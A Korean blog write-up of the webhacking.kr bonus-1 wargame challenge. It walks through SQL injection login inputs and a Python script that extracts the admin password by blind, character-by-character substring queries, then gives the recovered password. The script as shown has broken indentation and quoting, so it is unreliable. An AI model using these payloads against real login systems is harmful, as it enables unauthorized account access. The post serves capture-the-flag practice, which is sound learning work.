id: guest
pw: guest
입력했을 때
login success라고 뜬다
id: guest' or '1'='1
pw: guest
SQL injection이 먹힌다
id: guest
pw: gues
거짓일 때
login fail
id: guest
pw: gues' or '1'='1
SQL 쿼리문이 참(?)일때
wrong password
id: admin
pw: ' or '1'='1
admin 계정이 있는 것을 확인
id: admin
pw: ' or length(pw)=36--%20
admin의 pw 길이가 36자리인 것을 확인
id: admin
pw: ' or substr(pw,1,1)='t
admin의 pw 첫자리가 t인 것을 확인
파이썬 코드 작성
import requests
url="https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="
cookie={"PHPSESSID":"2jqi1ilotud0d3bq8sendn2tph"}
session=requests.Session()
password=""
for i in range(1,37):
for j in range(48, 127):
payload=session.get(url+"' or substr(pw,"+str(i)+",1)='"+chr(j)+",cookies=cookie)
if("wrong password" in payload.text):
print(chr(j)+"is correct!!!!!!!")
password += chr(j)
break
print(chr(j)+"is incorrect")
print(password)
첫 번째에 왜 T인데 G가 나오는지 모르겠는데 T임
admin의 pw는
THERE_IS_NO_REST_FOR_THE_WHITE_ANGEL
wrong password가 나오는데
mysql은 대소문자 구분을 하지 않기 때문에 소문자로 입력하면 됨
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 51번 (0) | 2019.11.06 |
---|---|
Webhacking.kr 10번 (0) | 2019.11.05 |
Webhacking.kr 33번 (0) | 2019.10.26 |
Webhacking.kr 42번 (0) | 2019.10.21 |
Webhacking.kr 20번 (0) | 2019.10.21 |